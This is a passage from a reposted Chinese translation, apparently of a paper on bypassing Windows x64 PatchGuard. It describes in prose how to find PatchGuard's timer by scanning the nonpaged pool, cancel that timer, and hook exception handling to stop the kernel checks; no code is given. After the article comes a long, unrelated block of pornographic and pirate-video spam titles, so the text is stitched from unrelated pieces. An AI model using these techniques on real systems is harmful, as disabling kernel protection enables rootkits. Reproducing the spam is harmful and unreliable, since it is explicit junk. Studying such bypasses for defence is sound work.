第二,微軟可能在調(diào)用nt!KeBugCheckEx()函數(shù)前,采用某種有效的方法將線程結(jié)構(gòu)體中的某些字段清0。這可能會(huì)使得我們的方法失效,但其不能防止其它的方法,只是可能會(huì)費(fèi)點(diǎn)心思而已。不管怎么樣,都必須保證系統(tǒng)工作線程能回去正常處理隊(duì)列中的work items。
4.3.? ? ? ? 找出Timer(Finding the Timer)
這個(gè)方法是理論上的,還沒有測(cè)試過。這個(gè)方法就是利用一些啟發(fā)式算法來定位與PG相關(guān)聯(lián)的timer context。要設(shè)計(jì)這樣的算法,就需要知道設(shè)置timer DPC例程的方法:
第一,我們知道與DPC相關(guān)聯(lián)的DeferredRoutine()將指向以下三個(gè)函數(shù)中的一個(gè):nt!KiScanReadyQueues()、nt!ExpTimeRefreshDpcRoutine()、nt!ExpTimeZoneDpcRoutine()。不幸的是,這三個(gè)函數(shù)的地址無法直接確定,因?yàn)樗鼈儧]有被導(dǎo)出。但不管怎樣,知道有這3個(gè)函數(shù),有沒有用,以后再說。
第二,我們知道與DPC相關(guān)聯(lián)的DeferredContext將被設(shè)置成一個(gè)無效的指針。我們還知道在偏移timer結(jié)構(gòu)體起始位置0x88處存放的是一個(gè)0x1131(2個(gè)字節(jié))。通過大量的調(diào)查,還發(fā)現(xiàn)了其它一些與這個(gè)timer相關(guān)的信息(contextual references),這些足以識(shí)別出PG的timer了。
解決這個(gè)問題的第一步是找到能夠枚舉timers的方法。在這種情況下,就需要分析timer list的這個(gè)未導(dǎo)出的地址,以便能夠枚舉出所有的活動(dòng)的timers。然而,要達(dá)到這個(gè)目的(枚舉出所有的活動(dòng)的timers),我們還有其它的間接方法,比如反匯編一些其涉及到的函數(shù)。只是這會(huì)有一個(gè)小小的問題,就是依靠定位未導(dǎo)出符號(hào)(函數(shù)或變量)的地址的方法,可能會(huì)導(dǎo)致代碼不穩(wěn)定。
另外一個(gè)選擇(不依賴定位未導(dǎo)出符號(hào))可能就是找到一種方法,其可以找到可以被搜索的地址空間。當(dāng)然,搜索時(shí)是從nt!MmNonPagedPoolStart開始(windows的非分頁池空間的常規(guī)區(qū)域是從此開始的)。搜索的方法還是上面所介紹的啟發(fā)式匹配條件。給定一組正確的參數(shù)以進(jìn)行搜索,這似乎是可取的且能很確定地定位到timer結(jié)構(gòu)體。然而,這可能會(huì)遇到一個(gè)競(jìng)爭(zhēng)條件,在定位到timer的例程后,且在取消這個(gè)例程前,這個(gè)timer routine被分發(fā)執(zhí)行了,我們就不得不轉(zhuǎn)入等待狀態(tài)。要克服這個(gè)困難,進(jìn)行搜索操作的這個(gè)線程可能需要將IRQL提升到更高的級(jí)別上。當(dāng)然,在它執(zhí)行搜索的過程中,其可能禁用其它的處理器。
不管怎么樣,只要能定位到timer結(jié)構(gòu)體,要中止PG的驗(yàn)證函數(shù)和完全禁用PG,就跟調(diào)用nt!KeCancelTimer ()函數(shù)一樣簡(jiǎn)單了。如果可能,這種方法是最佳選擇,因?yàn)槠洳恍枰虼a補(bǔ)丁。
如果這種方法經(jīng)證明是行得通的,那么微軟可能采取以下兩個(gè)方法之一來防止這種方法:
第一,識(shí)別出驅(qū)動(dòng)搜索地址空間時(shí)所使用的匹配條件,且(微軟)認(rèn)為這種搜索方法是不安全的。這樣使用已存在的這些匹配參數(shù)來定位timer結(jié)構(gòu)體就不可能了。
第二,微軟可以改變引導(dǎo)PG驗(yàn)證函數(shù)執(zhí)行的機(jī)制,以致其不利于timer DPC例程。當(dāng)然,第一個(gè)方法更勝一籌。因?yàn)榈诙€(gè)方法要重新設(shè)計(jì)PG的一個(gè)很重要的機(jī)制已屬不易,更何況還要重新考慮用于隱藏PG驗(yàn)證階段的技術(shù)。
4.4.? ? ? ? 混合攔截(Hybrid Interception)
前面的方法都是阻止PG的驗(yàn)證程序執(zhí)行。前面所介紹的hook異常處理的方法我們可稱之為事前方法(before-the-fact approach);hook nt!KeBugCheckEx()函數(shù)的方法我們可稱之為事后方法(after-the-approach)。從理論上講,如果能有效結(jié)合以上這兩種方法,那么就可完全檢測(cè)PG驗(yàn)證程序的執(zhí)行了。
有一種可能的方法,就是hook nt!C_specific_handler ()函數(shù)。這個(gè)函數(shù)是導(dǎo)出的,如果這個(gè)函數(shù)可以被操作,對(duì)我們來說就非常有用了。這個(gè)函數(shù)主要是為函數(shù)指定異常函數(shù)(exception handlers)。也就是說,PG是通過nt!C_specific_handler ()函數(shù)來將DeferredRoutine()指定為其DPC例程的異常函數(shù)的。那么我們Hook了這個(gè)函數(shù)后,我們就可以跟蹤異常信息并根據(jù)需要進(jìn)行過濾,以確定是否要運(yùn)行PG。
4.5.? ? ? ? 模擬熱補(bǔ)丁(Simulated Hot Patching)
這種方法,原文作者還沒研究,我這樣的菜鳥就飄過了~~~,有興趣的朋友可參看原文。

總結(jié)
飄過,有興趣的朋友請(qǐng)參考原文~~~
參考
? ? ? ? 飄過,有興趣的朋友請(qǐng)參考原文~~~(有幾個(gè)URL我沒能打開,悲催……)
    • jpg改rar

轉(zhuǎn)載于:https://www.cnblogs.com/kuangke/p/9397515.html

總結(jié)

以上是生活随笔為你收集整理的Bypassing PatchGuard on Windows x64的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

福利区在线观看 | 99视频精品免费视频 | 国产一级高清 | 啪啪肉肉污av国网站 | 久久不卡av| 日韩激情视频在线观看 | 激情婷婷av| 人人爱在线视频 | 中文欧美字幕免费 | 最新av电影网址 | 日韩小视频网站 | 免费三级黄色片 | 美女网站免费福利视频 | 97超碰人人澡 | 亚洲精品小视频 | 亚洲精品国产高清 | 国产清纯在线 | 久久免费视频在线观看6 | 久久久久综合视频 | 欧美亚洲成人免费 | 国产精彩视频一区二区 | 日韩成人精品一区二区 | 午夜影院日本 | 久久婷婷五月综合色丁香 | 国产亚洲精品日韩在线tv黄 | 午夜国产成人 | 97超碰在线久草超碰在线观看 | 久久成人18免费网站 | 国产精品国产三级国产不产一地 | 男女全黄一级一级高潮免费看 | 国产成人久久精品一区二区三区 | 91成人午夜 | 毛片黄色一级 | 欧美精品九九99久久 | 国产一区二区综合 | 黄色91在线| 日韩av一区二区三区在线观看 | 欧美一级片免费播放 | 91毛片在线观看 | 中文字幕国产一区二区 | 一区二区三区手机在线观看 | 在线中文字幕一区二区 | 成年人在线看片 | 午夜国产在线观看 | 五月婷婷久草 | 特黄一级毛片 | av电影免费在线播放 | 国产老太婆免费交性大片 | 婷婷激情五月综合 | 涩涩网站在线 | 国产精品久久久久久高潮 | 日韩在线电影观看 | 激情视频在线高清看 | 婷婷久草 | 精品久久久久久亚洲综合网站 | 国产一区在线免费 | 91网址在线| 综合铜03 | 亚洲粉嫩av | 久久久麻豆精品一区二区 | 国产精品视频全国免费观看 | 国产亚洲欧美精品久久久久久 | 成人午夜黄色影院 | 91久久精品一区二区二区 | 天天艹天天| 成人黄色电影在线观看 | 永久免费视频国产 | 51精品国自产在线 | 亚洲国产精品电影 | 一区二区三区在线不卡 | 97视频成人| 天堂网在线视频 | 亚洲国产中文字幕 | av大全在线免费观看 | 亚洲一区二区三区miaa149 | 日韩欧美高清 | 精品视频资源站 | 亚洲成av人片一区二区梦乃 | 欧美日韩在线观看一区二区三区 | 国产色一区 | 尤物九九久久国产精品的分类 | 青青河边草免费视频 | 久久免费视频观看 | 九九视频免费在线观看 | 黄色99视频 | 亚洲人成人在线 | 亚洲最大的av网站 | 午夜久久久久久久久久影院 | 亚洲成aⅴ人片久久青草影院 | 日韩中出在线 | 日本中文一区二区 | 中文字幕在线观看第三页 | se婷婷| 久久1区 | 涩涩在线 | 成人永久视频 | 免费日韩 精品中文字幕视频在线 | 在线最新av | 国模一区二区三区四区 | 97超碰在线资源 | 青青看片 | 精品uu | 日韩在线国产 | 色吊丝在线永久观看最新版本 | 亚洲欧美日韩精品一区二区 | 精品视频99| 中文字幕 在线 一 二 | 日韩爱爱网站 | 午夜视频在线网站 | 国产永久免费高清在线观看视频 | 一区二区精品在线 | 日p视频 | 中文字幕免费国产精品 | 911国产精品 | 爱射综合 | 中文字幕一区二区三区视频 | 中文字幕丝袜 | 久久九九国产视频 | 91精品久久久久久久久久久久久 | 国产人成精品一区二区三 | av福利第一导航 | 97国产 | 亚洲视频在线看 | 亚洲成人黄 | 最新久久免费视频 | av福利超碰网站 | 91久久精品一区二区二区 | 日韩视频免费观看高清 | 欧美不卡视频在线 | 成人在线视频论坛 | 色老板在线 | 五月天六月丁香 | 国产高清视频在线播放 | 天天综合91| 日本精品va在线观看 | 亚洲一区二区三区精品在线观看 | 91视频-88av| 日韩,中文字幕 | av天天在线观看 | 日韩视频专区 | 国产日韩高清在线 | 国产精品久久久影视 | 国产在线观看av | 精品夜夜嗨av一区二区三区 | 97色狠狠 | 亚洲精品短视频 | 久久久午夜精品福利内容 | 69av网| 麻豆视频国产 | 91精品免费视频 | 中文字幕在线观看视频一区 | 亚洲永久精品在线观看 | 精品国产自在精品国产精野外直播 | 久久九九免费 | 日韩二区三区在线观看 | 国产精品久久久久久久久久直播 | 最近2019年日本中文免费字幕 | 91传媒在线 | 国产黄色免费在线观看 | 不卡中文字幕在线 | 91免费高清观看 | 久久免费看av | 久久久www成人免费毛片 | 在线观看视频在线 | 久久亚洲精品电影 | 久色婷婷| 日韩av高潮 | 狠狠干狠狠久久 | 91视频在线看 | 免费 在线 中文 日本 | 草樱av| 日韩免费不卡视频 | 亚洲美女视频在线观看 | 国产午夜视频在线观看 | 久久久久久国产一区二区三区 | av日韩在线网站 | 一区二区视频免费在线观看 | 一区二区视频在线观看免费 | 色综合久久综合中文综合网 | 69久久99精品久久久久婷婷 | 国内小视频在线观看 | www.午夜| 欧美在线观看视频 | 香蕉视频久久 | 婷婷丁香激情五月 | 911香蕉视频 | 免费a视频在线观看 | 精品不卡av | 日本精品一区二区 | 91刺激视频 | 波多野结衣电影一区 | 婷婷国产精品 | 国产精品美女 | 手机在线日韩视频 | 狠狠狠色丁香综合久久天下网 | 国产高清av在线播放 | 亚洲成人家庭影院 | 国产91大片| 国产看片网站 | 久久精品亚洲 | 久久久久久久av | 欧美日韩三区二区 | 在线精品播放 | 最近免费中文字幕mv在线视频3 | 麻豆视频一区 | 91热精品| 日韩高清www | 亚洲黄色激情小说 | 久久久久福利视频 | 日韩高清av | 一区二区三区日韩在线观看 | 久久玖 | 狠狠色丁香久久综合网 | 久久免费播放 | 色射色 | 久久av影视 | 国内精品久久久久久久久 | 免费在线看v | 人人干人人爽 | 亚洲理论在线观看 | 欧美经典久久 | 天天艹日日干 | 激情欧美xxxx | 丁香影院在线 | 又色又爽的网站 | 久久激情日本aⅴ | 日韩电影在线观看一区二区 | 国产区在线看 | 成人黄色av网站 | 91.麻豆视频 | 一区在线免费观看 | 九九亚洲精品 | 免费看一级黄色大全 | 日韩成人免费在线 | 国产精在线| 日本中文字幕影院 | 成人动漫视频在线 | 91在线看片 | 99热 精品在线 | 日韩网 | 国产资源中文字幕 | 91成熟丰满女人少妇 | 日韩在线一二三区 | 婷婷看片 | 欧美精品在线一区二区 | 五月综合久久 | 在线观看成人小视频 | 在线观看国产高清视频 | 在线观看中文字幕一区二区 | 伊人国产在线观看 | 国产精品久久久久久欧美 | 最近免费中文字幕 | 五月宗合网 | 欧美三级高清 | 亚洲精品在 | 中文字幕av免费观看 | av先锋中文字幕 | 久久ww| 久久精品国产成人 | 88av网站| 四虎国产免费 | 久久久精品免费看 | 狠狠色狠狠色 | 国产一二区免费视频 | 91久久久久久久一区二区 | 日本精品一区二区在线观看 | 日本99久久 | 精品国产成人 | 久久成年人 | 久久伊人国产精品 | 日韩有色| 91精品在线观看视频 | 久久免费99 | 精品色999 | 久久综合狠狠综合久久综合88 | 国产免费资源 | 中文字幕第一页在线vr | 国产免费观看久久黄 | 国产成人在线观看免费 | 国产一区观看 | 91精品国自产在线观看 | 99人成在线观看视频 | 亚洲午夜久久久久久久久久久 | 久久a久久| 午夜精品久久久久久久99婷婷 | 久久久久久看片 | 人人舔人人插 | 成人a免费看| 激情偷乱人伦小说视频在线观看 | 欧美性色综合网 | 久久久久伊人 | 国产综合视频在线观看 | 久久久综合色 | 免费在线激情电影 | 三级免费黄 | 激情网站网址 | 国产理伦在线 | 日韩电影在线观看一区 | av在线免费播放网站 | 国产精品99久久久久久久久 | 亚洲免费av在线 | 欧美日韩国产一二三区 | 国产精品久久久久久久妇 | 91精品国产91p65 | 日韩av一区二区三区四区 | 四虎国产精品成人免费影视 | 国产伦精品一区二区三区无广告 | 91精品国| 在线观看免费色 | 蜜臀av网址 | 精品国产伦一区二区三区 | 五月开心网 | 五月婷婷网站 | 国产精品99久久久久久小说 | 色资源二区在线视频 | 97超碰中文字幕 | 日韩久久在线 | 午夜视频福利 | 国产在线综合视频 | 亚洲精品国偷自产在线91正片 | 有码中文字幕在线观看 | 免费黄a | 亚洲欧美经典 | 天天操天天综合网 | 91成熟丰满女人少妇 | 摸bbb搡bbb搡bbbb | 日韩精品最新在线观看 | 日韩激情小视频 | 国产精品一区二区久久精品 | 日韩免费在线观看视频 | 97手机电影网| 四虎在线免费观看 | 亚洲一本视频 | 久草在线手机视频 | 免费在线观看a v | 91网在线观看 | 精品一区二区三区电影 | 色综合www | 日韩精品一区二区三区不卡 | 日韩成人不卡 | 四虎8848免费高清在线观看 | 日韩欧美精品一区 | 成人小视频免费在线观看 | 麻豆mv在线观看 | 亚洲精品国产精品国自产观看 | 国产高清免费在线观看 | 久久在线一区 | 国产一级免费在线观看 | 久久国产欧美日韩 | 麻豆国产精品va在线观看不卡 | 久久人人添人人爽添人人88v | 国产黄色大片免费看 | 色婷婷久久一区二区 | 亚洲国产精品va在线看 | 一区 二区电影免费在线观看 | 久久亚洲视频 | av三级av | 久久狠狠一本精品综合网 | 91超碰免费在线 | 国产欧美在线一区二区三区 | 欧美一区影院 | 91亚洲精品视频 | 蜜臀91丨九色丨蝌蚪老版 | 99精品乱码国产在线观看 | 91精品啪| 久久艹国产视频 | 日韩在线不卡视频 | 久久久久久久久久久福利 | 免费在线成人av | av中文字幕网| 激情五月av| 精品一区三区 | 国产麻豆视频网站 | 天天色欧美 | www.天天草| 97免费公开视频 | 96av在线视频 | 草久久精品 | 91.dizhi永久地址最新 | 91免费版在线观看 | 成人性生交大片免费看中文网站 | 一级特黄av | 国产精品美女久久久久aⅴ 干干夜夜 | 狠狠躁夜夜躁人人爽超碰97香蕉 | 最新色视频| 亚洲午夜av电影 | 黄色av电影网| 日韩在线欧美在线 | 97操操操| 99爱爱| 久久精品中文字幕免费mv | 九九精品视频在线 | 国产色综合 | 就色干综合 | 狠狠干综合网 | 91福利小视频 | 97成人精品视频在线播放 | 青青河边草观看完整版高清 | 国产精品6999成人免费视频 | 香蕉视频国产在线观看 | 日韩丝袜 | 国产一区二区三精品久久久无广告 | 最近日本mv字幕免费观看 | 亚洲国产精品人久久电影 | 国产在线观看午夜 | 97精品国产97久久久久久久久久久久 | 国产精品mv在线观看 | 国产午夜免费视频 | 色婷婷欧美 | 六月久久婷婷 | 2019天天干天天色 | 毛片99 | 免费av福利 | www.狠狠操.com| 日本黄色a级大片 | 国产精品igao视频网入口 | 国产精品中文字幕在线 | 欧美黄色特级片 | 99久久夜色精品国产亚洲 | 激情av五月婷婷 | 一级全黄毛片 | 欧美激情视频一区二区三区免费 | 亚洲资源 | 亚洲电影在线看 | 日韩av电影中文字幕在线观看 | 久久久久免费精品国产 | 日本在线观看中文字幕 | 久久夜av | 国产99久久精品一区二区永久免费 | 国产亚洲片 | 国产精品福利在线播放 | 欧美另类调教 | 午夜一级免费电影 | 日韩精品免费 | 久草视频在线免费看 | 国产字幕av | 欧美一级在线观看视频 | 国产视| 亚洲一区免费在线 | 99精品99| 黄色aaa毛片 | 91精品国产高清自在线观看 | 国产精品第十页 | 一区二区三区高清不卡 | 三级黄免费看 | 涩涩网站在线播放 | 国产高清视频网 | 久久精品毛片 | 久久精品艹 | 天天干国产 | 亚洲不卡123 | 国产精品毛片一区视频播 | 国产精品久久久久久一区二区 | 99视频在线免费看 | 久草国产视频 | av电影在线观看完整版一区二区 | 天天摸夜夜操 | 亚洲免费av在线播放 | 亚洲综合色视频在线观看 | 国产成人无码AⅤ片在线观 日韩av不卡在线 | 久热色超碰 | 天天操天天干天天干 | 国产精品1区2区在线观看 | 在线观看涩涩 | 精品国产一区二区三区四区vr | 99久久www免费 | av激情五月| 99视 | 五月婷婷精品 | av不卡中文 | 视频99爱| 国产一区二区在线免费视频 | 国产精品久久电影网 | 91手机视频在线 | 欧美天天干 | 久久激五月天综合精品 | 天天综合网国产 | 日本最新中文字幕 | 国产精品免费久久 | 99综合电影在线视频 | 天天舔夜夜操 | 亚洲精品在线播放视频 | 精品欧美一区二区三区久久久 | 亚洲精品在线播放视频 | av888av.com| 日韩三级在线观看 | 日韩专区一区二区 | 日韩中文字幕在线 | a级片网站 | 国产国语在线 | 亚洲精品www久久久久久 | 欧美国产大片 | 欧美精品免费在线 | 五月天久久久久 | av中文字幕剧情 | 国产v欧美 | 欧美精品一区二区三区四区在线 | 免费av在线 | 久久麻豆精品 | 操碰av | 免费国产在线精品 | 午夜国产福利视频 | 国产成人一二三 | 九九久久精品 | 91精品国产亚洲 | www国产一区| 国产欧美综合在线观看 | 97视频网址 | 天天干天天做天天爱 | 伊人天天狠天天添日日拍 | jizz18欧美18 | 精品国偷自产国产一区 | 精品一区精品二区 | 日韩精品免费一区二区三区 | 亚洲精品电影在线 | 99热最新精品 | 天堂在线成人 | a级一a一级在线观看 | 国产第一页福利影院 | 久久影视精品 | 国产成人综 | 在线中文字幕av观看 | 国产免费观看视频 | 狠狠干夜夜操 | www.看片网站 | 丁香视频全集免费观看 | 久草干 | 欧美男女爱爱视频 | 99色亚洲 | 日韩免费不卡av | av软件在线观看 | 黄在线免费看 | 久久香蕉国产精品麻豆粉嫩av | 黄色毛片在线看 | 久草精品在线观看 | 狠狠干狠狠色 | 日韩国产欧美在线播放 | 狠狠网亚洲精品 | 在线观看成人国产 | 亚洲午夜在线视频 | 日韩美女久久 | 国产免费叼嘿网站免费 | 黄色av电影在线观看 | 青草视频网 | 好看av在线 | 欧美久久久久久久久久 | 精品久久久亚洲 | 久久精品网站视频 | 久草在线久草在线2 | 又黄又爽又无遮挡免费的网站 | 人人爽人人爽人人片av | 国产精品一区二区久久久 | 狠狠狠色狠狠色综合 | 96国产精品视频 | 中文字幕在线有码 | 欧美在线18| 人人草人| 亚洲资源片 | 97在线影视 | 国产精品高潮呻吟久久久久 | 中文字幕三区 | 欧美一区二区在线看 | 麻豆国产视频下载 | 91久色蝌蚪| 免费观看成人av | 国产99视频在线观看 | 99久久精品免费看国产 | 五月婷婷色丁香 | 午夜视频99 | 在线观看国产www | 国产免费作爱视频 | 99热超碰在线 | 亚洲成年人在线播放 | 国产一区二区三区久久久 | 久久久久久国产一区二区三区 | 99精品国产福利在线观看免费 | 日日摸日日添夜夜爽97 | 一区二区三区四区精品 | 国产成人亚洲在线电影 | 黄色网址av | 久日精品| 永久免费毛片 | 欧美福利视频一区 | 国产精品区在线观看 | 亚洲综合色激情五月 | 欧美精品在线视频观看 | 97超碰人人澡人人爱 | 久久草草热国产精品直播 | 色av资源网 | 国产中出在线观看 | 2019免费中文字幕 | av中文天堂 | 99久久婷婷国产综合亚洲 | 亚洲高清视频在线 | 久99久精品视频免费观看 | 亚洲乱亚洲乱妇 | 精品一区免费 | 婷婷丁香狠狠爱 | 成人av一二三区 | 黄色av网站在线免费观看 | 国产视频在线观看一区二区 | 99视频精品全部免费 在线 | www.成人久久 | 精品久久国产一区 | 在线播放你懂 | 日日色综合 | 粉嫩一区二区三区粉嫩91 | 四虎影视成人精品国库在线观看 | 欧美另类调教 | 草久久影院| 日韩午夜在线观看 | 日韩欧美视频在线免费观看 | 国产高清专区 | 久久99精品久久久久久 | 99久久精品免费看国产麻豆 | 成人av电影免费观看 | 天堂麻豆 | 亚洲人视频在线 | 色视频在线免费观看 | 国产免费黄视频在线观看 | 成人午夜片av在线看 | 狠狠操狠狠插 | 日韩电影中文,亚洲精品乱码 | 正在播放国产精品 | 波多野结衣电影一区 | 久久不射影院 | 欧美亚洲三级 | 天天操天天舔天天爽 | 一级性视频 | 色在线亚洲 | 欧美va天堂va视频va在线 | 日韩av片无码一区二区不卡电影 | 国产丝袜高跟 | 天天综合网~永久入口 | 美女视频黄免费 | 又黄又爽又刺激视频 | 看国产黄色片 | 91精品第一页 | 五月激情电影 | 国产精品高清在线观看 | 国内久久久 | 四虎成人免费观看 | 91免费国产在线观看 | 日日摸日日添夜夜爽97 | 成人动漫精品一区二区 | 婷婷色网 | 亚洲黄色av一区 | 激情影音 | 日韩精品免费一区二区 | 亚洲精品色视频 | 久久精选 | 日韩电影中文,亚洲精品乱码 | 久久国产影视 | 欧美精品九九99久久 | 欧美日韩视频在线观看一区二区 | 在线视频a | 91福利视频网站 | 草久在线视频 | 天天操天天操一操 | 色国产精品一区在线观看 | 在线免费观看涩涩 | av一区在线播放 | www.色com | 免费在线观看av | 水蜜桃亚洲一二三四在线 | 久久久精品一区二区三区 | a天堂中文在线 | 久久精品视频在线免费观看 | 国产又黄又猛又粗 | 免费看国产a | 国产精品一区二区久久精品爱微奶 | 久久激情五月丁香伊人 | 欧美成人免费在线 | 久久网站av| 成人午夜免费福利 | 亚洲电影一级黄 | 日韩网站在线 | 操少妇视频 | 久久高清av | 国产精品色婷婷 | 欧美成人精品三级在线观看播放 | a级国产乱理论片在线观看 伊人宗合网 | 婷婷色 亚洲 | 亚av在线| 国产91av视频在线观看 | 午夜久久福利视频 | 久久中国精品 | 午夜精品av| 啪啪小视频网站 | 五月的婷婷 | 粉嫩av一区二区三区入口 | 精品91久久久久 | 成人免费观看网址 | 久久婷婷一区二区三区 | 色综合久久久久久久久五月 | 国产精品婷婷 | 久久国产精品一区二区三区四区 | 99久久精品免费看国产一区二区三区 | 丁香婷婷综合色啪 | 免费在线观看视频一区 | 天天干天天玩天天操 | 热久久电影| 97av在线视频免费播放 | 天天做日日爱夜夜爽 | 国产精品美女久久久免费 | 五月激情天 | 激情五月综合网 | 日韩免费电影在线观看 | 亚洲日本在线视频观看 | a黄色一级片| 99久久久久成人国产免费 | 欧美电影黄色 | 免费试看一区 | 亚洲精品字幕在线 | 五月婷婷综合激情 | 亚洲艳情| 日日日干 | 亚州国产精品 | 亚洲综合黄色 | 亚洲干视频在线观看 | 深爱婷婷网 | 夜夜躁日日躁狠狠久久88av | 日韩在线观看电影 | 干 操 插 | 午夜精品一区二区三区四区 | 激情电影在线观看 | av大全在线| 久草com| 欧美成人性战久久 | 久久久精品久久 | 黄色av网站在线观看免费 | 国内精品小视频 | 99视频网站 | 蜜臀aⅴ国产精品久久久国产 | 国产一级大片免费看 | 十八岁以下禁止观看的1000个网站 | 深夜免费福利在线 | 国产999精品视频 | 日韩中文在线电影 | 日本黄色大片儿 | 国产一在线精品一区在线观看 | 91久久黄色 | 毛片一区二区 | 91色在线观看视频 | 91男人影院 | 亚洲在线观看av | 日本aaaa级毛片在线看 | 午夜精品电影 | 天天射天天射天天射 | 久久99久久99 | 在线天堂视频 | 久久国产91| aaa毛片视频 | 国产91亚洲 | 国产三级午夜理伦三级 | 国产第一页在线观看 | 国产欧美日韩精品一区二区免费 | 又黄又爽的免费高潮视频 | av在线成人 | 午夜国产影院 | 色婷婷综合久久久久中文字幕1 | 国产在线免费观看 | 一区二区三区中文字幕在线观看 | 久久国产精品视频免费看 | 国产91影院 | 人人澡人人舔 | 婷婷资源站| 日韩v在线91成人自拍 | 在线午夜av | 99亚洲国产精品 | 日韩精品久久久久 | 国产精品入口麻豆 | 国产不卡在线视频 | 探花视频免费观看高清视频 | 免费看污片 | 亚洲一本视频 | 欧美久久成人 | 99久久久免费视频 | av资源网在线播放 | 精品一二三区视频 | www.天天成人国产电影 | 草久在线观看视频 | 国产午夜一区二区 | 日日操日日干 | 日本精品一区二区三区在线播放视频 | 日韩最新在线 | 亚洲精品黄 | 在线www色 | 国产成人精品久久亚洲高清不卡 | 黄色三级网站 | 天堂av在线网 | 月下香电影 | 人人射人人爱 | 精品免费在线视频 | 亚洲精品乱码久久久久久蜜桃欧美 | 精品视频999 | 伊人网综合在线观看 | 99精品国产99久久久久久福利 | 人人澡人人澡人人 | 中文字幕日韩在线播放 | 天天干,天天射,天天操,天天摸 | 久久精视频 | 欧美另类亚洲 | 久久这里| 综合久色 | bbbbb女女女女女bbbbb国产 | 久久久麻豆视频 | 天天操夜操视频 | 一区二区三区久久 | 黄色软件在线观看视频 | 97视频网站 | 最近更新的中文字幕 | 亚洲 欧美变态 另类 综合 | 色就是色综合 | 五月在线视频 | 91麻豆精品国产自产在线游戏 | 精品一区二区在线免费观看 | 午夜精品一区二区三区在线 | 免费看国产精品 | 成人精品一区二区三区电影免费 | 人人爱人人舔 | 日日干视频 | 欧美日韩观看 | 国产一级视屏 | 久久久久久久国产精品影院 | 日本aaa在线观看 | 在线观看日韩一区 | 国产手机视频在线 | 中文字幕之中文字幕 | 在线观看视频一区二区三区 | 中文欧美字幕免费 | 伊人久久婷婷 | 精品国产精品一区二区夜夜嗨 | 天天爱天天草 | 91免费国产在线观看 | 在线观看视频精品 | 在线观看日韩免费视频 | 亚洲一区二区三区四区精品 | 国产免费黄视频在线观看 | 在线91观看 | 成人午夜影院在线观看 | 天天爱天天操 | 中文字幕在线观看亚洲 | 亚洲 av网站 | 久久这里只有精品久久 | 久久久久久久精 | 91精品免费在线视频 | 91成人在线观看高潮 | 在线看黄网站 | 亚洲激情国产精品 | 美女黄色网在线播放 | 六月激情网 | 久久视频一区 | 日韩美在线观看 | 日韩影视精品 | 欧美成人在线免费观看 | 久久午夜色播影院免费高清 | 麻豆影音先锋 | 日韩动态视频 | 亚洲 欧美变态 另类 综合 | 日本黄色免费在线观看 | 精品一区精品二区高清 | 国产精品综合久久久久久 | 日本免费久久高清视频 | 日韩欧美在线中文字幕 | 久久曰视频 | 丁香六月中文字幕 | 一区二区三区免费在线观看 | 黄色毛片网站在线观看 | 不卡av在线免费观看 | 免费欧美精品 | 超碰在线人| 97精品欧美91久久久久久 | 国产精品va在线播放 | 国产亚洲精品综合一区91 | 久香蕉 | 五月婷婷婷婷婷 | 免费观看成人av | 国产亲近乱来精品 | 欧美日韩久久久 | 国产一级在线看 | 亚洲精品在线观看免费 | 天天干.com | 久久久久网站 | 天天综合在线观看 | 国产一区福利在线 | 日本精品在线看 | 久久久一本精品99久久精品66 | 国产精品久久久久9999 | 看片一区二区三区 | 激情婷婷色 | 九九国产精品视频 | 日韩大片在线观看 | 成人免费在线播放视频 | 欧美日韩一区二区三区在线免费观看 | 激情小说久久 | 在线中文字幕播放 | 不卡视频一区二区三区 | 色999精品 | 爱av在线网| 亚洲国产久 | 久久9999久久免费精品国产 | 在线成人中文字幕 | 成人在线视频一区 | 国产伦理一区二区三区 | 久久精品国产精品 | 久久五月网 | 天天操夜夜曰 | 五月天婷亚洲天综合网鲁鲁鲁 | 欧美日韩中文字幕综合视频 | 欧美日韩免费观看一区=区三区 | 在线色视频小说 | 综合五月 | 亚洲免费精品一区二区 | 国产成人精品在线 | 天天操天天谢 | 日韩高清不卡一区二区三区 | 五月天婷婷在线视频 | 91精品视频免费看 | 欧美成人在线免费观看 | 在线观看黄色的网站 | 国产亚洲亚洲 | 在线观看岛国片 | 日韩理论在线 | 久久精品小视频 | 久免费| 狠狠躁夜夜躁人人爽超碰97香蕉 | 久久国产精品成人免费浪潮 | 在线成人小视频 | 亚洲免费av在线播放 | 久久久久久久电影 | 日日夜夜噜噜噜 | 久草视频免费看 | 特黄色大片 | 一级黄色片在线播放 | 在线国产精品视频 | 97在线播放视频 | 亚洲网站在线 | 九九九九九精品 | 国产精品久久久久久高潮 | 婷婷综合视频 | 99国内精品久久久久久久 | 国产精品久久久久永久免费 | 色久天| 天天操欧美 | 亚洲粉嫩av | 欧美日韩国内在线 | 97成人在线免费视频 | 最新av网址大全 | 色91av | www最近高清中文国语在线观看 | 日本久久成人 | 久久久久亚洲精品国产 | 男女视频久久久 | 91精品一区二区三区久久久久久 | 日韩在线激情 | 91九色视频国产 | 97成人在线| av一级片| 欧美亚洲精品在线观看 | 色噜噜日韩精品一区二区三区视频 | 亚洲成人999 | 中文字幕日韩一区二区三区不卡 | 免费污片 | 久久经典国产 | 国产精品中文字幕在线播放 | 热久久精品在线 | 欧美精品二 | 国产精品久久久久久久免费 | 高清av免费看 | 国产成人l区| 日韩xxxx视频 | 久久人人爽爽人人爽人人片av | av中文字幕av| 中文字幕日本在线 | 天天干夜夜 | 日韩最新av在线 | av高清不卡 | 久一久久| 国产伦精品一区二区三区高清 | 成人在线观看av | 麻花豆传媒mv在线观看网站 | 精品国产乱子伦一区二区 | av午夜电影| 中中文字幕av在线 | 最近最新中文字幕 | 中文字幕亚洲不卡 | 亚洲精品在线视频播放 | 三级在线视频播放 | 国产成人精品一区二区 | 岛国大片免费视频 | 国产精品久久久久久久午夜 | 国产老妇av| 日韩大片在线免费观看 | 久久久久久久久久久久国产精品 | 欧美在线视频日韩 | 久久r精品 | 亚洲人成精品久久久久 |